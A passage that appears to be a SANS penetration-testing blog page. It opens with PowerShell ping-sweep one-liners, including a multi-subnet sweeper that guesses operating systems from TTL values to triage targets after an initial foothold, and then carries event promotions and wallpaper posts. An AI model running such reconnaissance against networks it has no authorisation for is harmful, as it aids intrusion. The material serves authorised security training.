workflow ParallelSweep { foreach -parallel -throttlelimit 4 ($i in 1..255) {ping -n 1 -w 100 10.0.0.$i}}; ParallelSweep | Select-String ttl

1. workflow ParallelSweep {} - Declare a workflow called Parallel-Sweep
2. foreach - Begin a loop
3. -parallel - Parallelize execution of loop
4. -throttlelimit 4 - Limit # of concurrent threads to 4
5. ($i in 1..255) - Run loop 1 through 255 times
6. ping -n 1 -w 100 10.0.0.$i - Ping IP address
7. ParallelSweep - Call the workflow ParallelSweep
8. | Select-String ttl - Filter the output of Parallel-Sweep. Only print lines containing “ttl”

 

Bonus Command – Multi-Subnet ping sweeper with OS detection

On a recent assessment, we gained access to the internal environment, but were limited to software already installed on a Windows laptop. This environment utilized a large address space to cloak its limited number of clients. We could have implemented the PowerShell ping sweepers above, and manually adjusted the value in the third octet each time we finished sweeping a class C address space. Instead we used a multi-subnet sweeper to build a report of accessible hosts overnight. In the morning we had all the targets we could ever hope for. You can even accomplish very rudimentary OS fingerprinting by evaluating TTL values to aid in triaging attack targets.

PS multi-subnet ping sweeper with OS detection:
0..10 | % { $a = $_; 1..255 | % { $b = $_; ping -n 1 -w 10 "10.0.$a.$b" | select-string TTL | % { if ($_ -match "ms") { $ttl = $_.line.split('=')[2] -as [int]; if ($ttl -lt 65) { $os = "Linux" } ElseIf ($ttl -gt 64 -And $ttl -lt 129) { $os = "Windows" } else { $os = "Cisco"}; write-host "10.0.$a.$b OS: $os"; echo "10.0.$a.$b" >> scan_results.txt }}} }

pingsweeper_05

Conclusion

There are many ways to extend these simple scripts to glean even more information about the network. These alone are a great way to begin exploring a network after gaining an initial foothold. These techniques prove especially useful during target identification in post compromise scenarios.

Matthew Toussain
https://twitter.com/0sm0s1z

 

Upcoming SANS Special Event – 2018 Holiday Hack Challenge

KringleCon

SANS Holiday Hack Challenge – KringleCon 2018

  • Free SANS Online Capture-the-Flag Challenge
  • Our annual gift to the entire Information Security Industry
  • Designed for novice to advanced InfoSec professionals
  • Fun for the whole family!!
  • Build and hone your skills in a fun and festive roleplaying like video game, by the makers of SANS NetWars
  • Learn more: www.kringlecon.com
  • Play previous versions from free 24/7/365: www.holidayhackchallenge.com

Player Feedback!

  • “On to level 4 of the #holidayhackchallenge. Thanks again @edskoudis / @SANSPenTest team.” – @mikehodges
  • “#SANSHolidayHack Confession – I have never used python or scapy before. I got started with both today because of this game! Yay!” – @tww2b
  • “Happiness is watching my 12 yo meet @edskoudis at the end of #SANSHolidayHack quest. Now the gnomes #ProudHackerPapa” – @dnlongen
kringle_02

SANS Penetration Testing: Command Line Kung-Fu – Desktop Wallpapers

PenTest_WhiteBoard_Back_Preview

SANS Pen Test: Command Line Kung-Fu

Desktop Wallpapers

So… we made our new SANS Pen Test Poster: “White Board of Awesome Command Line Kung-Fu” and posted it on Twitter for some initial feedback and  someone asked us if we could turn it into a desktop wallpaper and we thought, “that’s a really cool idea!”

But, we created it and everything on it was too small and although it looked cool, it wasn’t functional. So, then we thought, what if we broke it up into individual pieces. “Eureka!” we exclaimed as we contacted our graphic designer with a new request.

Now… “BEHOLD!”

Introducing the first of many SANS Pen Test Curriculum Desktop Wallpapers!

(Click on the image for the full-sized version)

BASH_1280x1024BASH_1280x1024
BASH_1920x1080BASH_1920x1080
BASH_5120x2880BASH_5120x2880
Powershell_1280x1024Powershell_1280x1024
Powershell_1920x1080Powershell_1920x1080
Powershell_5120x2880Powershell_5120x2880
Python_1280x1024Python_1280x1024
Python_1920x1080Python_1920x1080
Python_5120x2880Python_5120x2880

 

Comment below if you have ideas for future SANS Penetration Testing Curriculum – Desktop Wallpapers we should make.

Thanks!

 

Pen Test Cheat Sheets:

SANS Pen Test Training:

Upcoming SANS Special Event – 2018 Holiday Hack Challenge

KringleCon

SANS Holiday Hack Challenge – KringleCon 2018

  • Free SANS Online Capture-the-Flag Challenge
  • Our annual gift to the entire Information Security Industry
  • Designed for novice to advanced InfoSec professionals
  • Fun for the whole family!!
  • Build and hone your skills in a fun and festive roleplaying like video game, by the makers of SANS NetWars
  • Learn more: www.kringlecon.com
  • Play previous versions from free 24/7/365: www.holidayhackchallenge.com

Player Feedback!

  • “On to level 4 of the #holidayhackchallenge. Thanks again @edskoudis / @SANSPenTest team.” – @mikehodges
  • “#SANSHolidayHack Confession – I have never used python or scapy before. I got started with both today because of this game! Yay!” – @tww2b
  • “Happiness is watching my 12 yo meet @edskoudis at the end of #SANSHolidayHack quest. Now the gnomes #ProudHackerPapa” – @dnlongen
kringle_02

Presentation: PowerShell for Pen Testers

[Editor’s Note: Tim “My Shell Makes Your Shell Cry Like a Little Baby” Medin did a presentation at SANS Orlando called “PowerShell for Pen Testers”.  It’s really good.  It starts out with an overview of PowerShell for the uninitiated, and then quickly jumps to some really effective use cases of PowerShell for penetration testers and ethical hackers.  Wanna know how to do a port scan, ping sweep, and file transfer, using only PowerShell with no extra installs?  Tim covers it.  He also provides tips for post-exploitation on Windows boxes, and goes further by addressing PowerCLI for VMware as well as some tricks for Exchange servers.  He’s even sprinkled in some tips and techniques that are useful in incident handling and digital forensics.  Well played, Jake! –Ed.]

By Tim Medin

Download the presentation here.

By the way, if you are interested in penetration testing, as well as all things Tim Medin, you’ll definitely want to know that Tim will be teaching the SANS 560 Network Penetration Testing and Ethical Hacking course in Dallas, Texas from June 18th to 23rd.  It’s going to be a rollicking good time, and will include extra hands-on exercises through a series of cool bootcamp sessions.  Get more details here.